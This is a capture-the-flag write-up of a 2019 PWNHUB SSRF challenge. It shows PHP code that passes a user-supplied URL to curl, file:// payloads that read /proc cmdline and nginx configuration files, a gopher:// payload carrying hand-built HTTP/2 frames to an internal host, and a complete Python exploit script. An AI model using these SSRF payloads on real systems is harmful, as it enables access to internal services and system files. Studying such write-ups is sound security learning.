PWNHUB / Pink friend

Challenge

What is Peppa Pig?

- 参赛时间：2019.01.28 20:00 – 2019.01.30 20:00
- 参与人数：72

想知道胖哥特制的佩奇里有什么秘密吗?
快来一起玩耍吧!
祝大家新春快乐，“猪”事顺意!

https://40.73.33.181/

```php
<?php
show_source(__FILE__);

if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!$url){
        die('Can not parse url: '.$_GET['url']);
    }
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
    curl_exec($ch);
    curl_close($ch);
}
?>
```

Analysis

Step 1 What's the point?

When open this site, we can see the source code of PHP.

$_GET['url'] and **curl**

Year, it's SSRF.

Step 2 Read something

CmdLine is very important

```python
for i in range(1, 30):
    print(i)
    pl = 'file:///proc/%d/cmdline' % i
    r = ssrf(pl)
    print(r)
```

Result:

- bash /start.sh
- nginx: master process /usr/sbin/nginx
- nginx: worker process

Maybe should read the default configuration and log file for Nginx

- /etc/nginx/nginx.conf
- /etc/nginx/sites-enabled/default
- /var/log/nginx/access.log;
- /var/log/nginx/error.log
- ...etc

Some information in /etc/nginx/nginx.conf

```
    #server {
    #   listen 8080
    #   location /flag {
    #       proxy_pass 172.20.0.3:8080
    #   }
    #}
```

Step 3 Request 172.20.0.3:8080

WTF?! It's so terrible!

`b'\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x80\x00\x04\x00\x01\x00\x00\x00\x05\x00\xff\xff\xff\x`

I don't know what it is!!!

Encrypted?

Maybe should test ssl or others?

Step 4 Analyze Request and Response message

`curl -vv -k 'https://40.73.33.181/?url=http://172.20.0.3:8080/'`

```
*   Trying 40.73.33.181...
* TCP_NODELAY set
* Connected to 40.73.33.181 (40.73.33.181) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
...
* ALPN, server accepted to use h2
...
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len
=0
* Using Stream ID: 1 (easy handle 0x7fefcb000400)
> GET /?url=http://172.20.0.3:8080/ HTTP/2
> Host: 40.73.33.181
> User-Agent: curl/7.54.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 200
< server: nginx/1.14.0 (Ubuntu)
< date: Mon, 28 Jan 2019 19:37:43 GMT
< content-type: text/html; charset=UTF-8
<
<code>...
* Connection #0 to host 40.73.33.181 left intact
</code>���
```

It use HTTP2.0

Step 5 Analyze Frame

I found **hyper** through ***(Search Engines)

Then parse the response data in **Step 3**

```
SettingsFrame(Stream: 0; Flags: None): 000300000080000040001...
WindowUpdateFrame(Stream: 0; Flags: None): 7fff0000
GoAwayFrame(Stream: 0; Flags: None): 0000000000000001
```

Good Job!

Step 6 Learn about HTTP2

You should learn something about http2

- Frame
  - header – parse_frame_header
  - body – parse_body
- SettingsFrame
  - settings
- HeadersFrame
  - flags
    - END_STREAM
    - END_HEADERS
  - data
    - struct
    - hpack
      - encode
      - decode
- ...etc

Step 7 Request by Gopher

`gopher://172.20.0.3:8080/_` + *HTTP/2 Connection Preface* + *HTTP Frames* [+*HTTP Frames*]

eg.

```
gopher://172.20.0.3:8080/_PRI%2520%252A%2520HTTP/2.0%250D%250A%250D%250ASM%250D%250A%250D%250A%2500%2500%251E%2504%2500%2500%2500%2500%2500%2500%2501%2500%2500%2500%25FF%2500%2502%2500%2500%2500%2500%2500%2503%2500%2500%2500%2505%2500%2504%2500%2500%2500%25FF%2500%2506%2500%2500%2500%25FF%2500%2500%2515%2501%2505%2500%2500%2500%2501%2582%2586%2584A%258A%2508%259D%255C%250B%2581p%25DCx%250F%2503%2560%2581%25EFS%2581%25F9
```

Step 8 Get Flag

flag{Http2_Mak3_a_Differ3nce}

Exp.py

```python
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from urllib.parse import *
from hpack import Encoder, Decoder
"""
    Author : Virink <virink@outlook.com>
    Date   : 2019/01/28, 23:23
"""

import requests
import urllib3
from hyperframe.frame import *
urllib3.disable_warnings()

URL = 'https://40.73.33.181'

req = requests.Session()
req.verify = False
req.cert = False


def ssrf(url):
    url = URL+"/?url="+url
    print("[+] Request -> %s" % url)
    res = req.get(url)
    try:
        if res.status_code == 200:
            html = res.content.decode('utf-8')
            return html[html.find('</code>')+7:]
    except Exception as e:
        return res.content[res.content.find(b'</code>')+7:]

```

```python

def genFrame(data):
    next_f = 0
    errn = 0
    while len(data) > next_f+9:
        print("[*] "+"-"*30)
        if errn > 2:
            break
        try:
            nframe, _len = Frame.parse_frame_header(
                data[next_f:next_f+9])
            nframe.parse_body(memoryview(data[next_f+9:next_f+9 + _len]))
            print("[+] Frame -> %s" % nframe)
            for i in nframe.__dict__:
                if i == 'data':
                    print("[+] Data:")
                    print("[✔] ", Decoder().decode(nframe.data))
                    print("[+] ")
            next_f += _len + 9
        except Exception as e:
            print(e)
            errn += 1
            next_f += _len + 9
            continue


def parseFrame(path):
    frames = []
    f = SettingsFrame(0)
    # f.settings = {
    #     f.HEADER_TABLE_SIZE: 0xff,
    #     f.ENABLE_PUSH: 0,
    #     f.MAX_CONCURRENT_STREAMS: 5,
    #     f.INITIAL_WINDOW_SIZE: 0xff,
    #     f.MAX_HEADER_LIST_SIZE: 0xff
    # }
    frames.append(f.serialize())
    f = HeadersFrame(1)
    f.flags.add('END_STREAM')
    f.flags.add('END_HEADERS')
    header_data = [
        (':method', 'GET'),
        (':scheme', 'http'),
        (':path', '/'+path),
        (':authority', '127.0.0.1:8080'),
        ('cookie', 'v'),
        ('accept', '*')
    ]
    f.data = Encoder().encode(header_data)
    frames.append(f.serialize())
    data = b''.join(frames)
    return quote(data)


if __name__ == '__main__':
    # cmdline
    # for i in range(1, 30):
    #     print(ssrf('file:///proc/%d/cmdline' % i))
    # nginx.conf
    # print(ssrf('file:///etc/nginx/nginx.conf'))
    # 172.20.0.3:8080
    pl = 'gopher://172.20.0.3:8080/_'
    # 连接序言 PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n
    pl += quote(quote('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'))
    # 帧 Frames[]
    pl += quote(parseFrame(''))
    genFrame(ssrf(pl))
```